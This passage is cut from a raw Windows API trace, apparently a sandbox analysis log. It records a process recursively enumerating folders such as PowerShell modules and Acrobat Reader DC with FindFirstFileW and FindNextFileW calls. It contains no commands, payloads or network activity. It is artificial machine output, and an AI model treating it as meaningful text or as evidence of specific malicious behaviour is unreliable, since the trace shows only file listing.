nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0243.939] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xb54d81cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.939] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.PSReadline.Resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0243.939] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.PSReadline.Resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0243.939] FindClose (in: hFindFile=0x33e4e68 | out: hFindFile=0x33e4e68) returned 1 [0243.940] GetProcessHeap () returned 0xc10000 [0243.940] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0243.940] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x34e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.PSReadline.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0243.940] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSReadline.psd1", cAlternateFileName="PSREAD~1.PSD")) returned 1 [0243.940] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSReadline.psm1", cAlternateFileName="PSREAD~1.PSM")) returned 1 [0243.940] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSReadline.psm1", cAlternateFileName="PSREAD~1.PSM")) returned 0 [0243.940] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0243.941] GetProcessHeap () returned 0xc10000 [0243.941] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0243.941] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb54d73e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.2", cAlternateFileName="")) returned 0 [0243.941] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0243.941] GetProcessHeap () returned 0xc10000 [0243.941] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0243.941] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSReadline", cAlternateFileName="PSREAD~1")) returned 0 [0243.941] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0243.942] GetProcessHeap () returned 0xc10000 [0243.942] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0243.944] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92a39270, ftCreationTime.dwHighDateTime=0x1d5cb60, ftLastAccessTime.dwLowDateTime=0xec75cdf0, ftLastAccessTime.dwHighDateTime=0x1d59275, ftLastWriteTime.dwLowDateTime=0xec75cdf0, ftLastWriteTime.dwHighDateTime=0x1d59275, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="webdrive.exe", cAlternateFileName="")) returned 1 [0243.944] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92a39270, ftCreationTime.dwHighDateTime=0x1d5cb60, ftLastAccessTime.dwLowDateTime=0xec75cdf0, ftLastAccessTime.dwHighDateTime=0x1d59275, ftLastWriteTime.dwLowDateTime=0xec75cdf0, ftLastWriteTime.dwHighDateTime=0x1d59275, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="webdrive.exe", cAlternateFileName="")) returned 0 [0243.945] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0243.945] GetProcessHeap () returned 0xc10000 [0243.945] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0243.945] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe8d36153, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8d36153, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 0 [0243.945] FindClose (in: hFindFile=0x33e4d28 | out: hFindFile=0x33e4d28) returned 1 [0243.945] GetProcessHeap () returned 0xc10000 [0243.945] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcd9de8 | out: hHeap=0xc10000) returned 1 [0243.946] FindNextFileW (in: hFindFile=0xc29ac8, lpFindFileData=0x2e5f960 | out: lpFindFileData=0x2e5f960*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe7a165b3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a165b3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0243.946] GetProcessHeap () returned 0xc10000 [0243.946] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xcd9de8 [0243.947] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\*", lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe7a165b3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a165b3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0243.947] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe7a165b3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a165b3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="..", cAlternateFileName="")) returned 1 [0243.947] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe77171fe, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe77171fe, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Adobe", cAlternateFileName="")) returned 1 [0243.947] GetProcessHeap () returned 0xc10000 [0243.947] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0243.948] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe77171fe, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe77171fe, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0243.949] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe77171fe, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe77171fe, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.950] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec183d6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat Reader DC", cAlternateFileName="ACROBA~1")) returned 1 [0243.950] GetProcessHeap () returned 0xc10000 [0243.950] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0243.950] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec183d6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0243.951] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec183d6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.951] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdec183d6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec183d6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Esl", cAlternateFileName="")) returned 1 [0243.951] GetProcessHeap () returned 0xc10000 [0243.951] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0243.951] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Esl\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdec183d6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec183d6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0243.953] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdec183d6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec183d6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.953] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x4f1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AiodLite.dll", cAlternateFileName="")) returned 1 [0243.953] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x4f1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AiodLite.dll", cAlternateFileName="")) returned 0 [0243.953] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0243.954] GetProcessHeap () returned 0xc10000 [0243.954] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0243.954] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2d82cf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2d82cf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader", cAlternateFileName="")) returned 1 [0243.954] GetProcessHeap () returned 0xc10000 [0243.954] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0243.954] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2d82cf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2d82cf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d28 [0243.955] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2d82cf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2d82cf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.956] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x191cc8f5, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x2d9d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf", cAlternateFileName="149487~1.PDF")) returned 1 [0243.956] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a672c00, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdb16256d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3a672c00, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x28bf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="A3DUtils.dll", cAlternateFileName="")) returned 1 [0243.957] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a672c00, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xded496a3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3a672c00, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xe8ff0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACE.dll", cAlternateFileName="")) returned 1 [0243.957] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3632d245, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3632d245, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3632d245, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroApp", cAlternateFileName="")) returned 1 [0243.957] GetProcessHeap () returned 0xc10000 [0243.957] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0243.958] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3632d245, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3632d245, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3632d245, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0243.959] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3632d245, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3632d245, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3632d245, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.960] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3632d245, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2a87d43, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2a87d43, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENU", cAlternateFileName="")) returned 1 [0243.960] GetProcessHeap () returned 0xc10000 [0243.960] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0243.961] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3632d245, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2a87d43, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2a87d43, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0244.202] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3632d245, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2a87d43, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2a87d43, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.304] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3637970e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x126, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppCenter_R.aapp", cAlternateFileName="APPCEN~1.AAP")) returned 1 [0244.304] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3637970e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x2b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Certificates_R.aapp", cAlternateFileName="CERTIF~1.AAP")) returned 1 [0244.304] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3639f962, 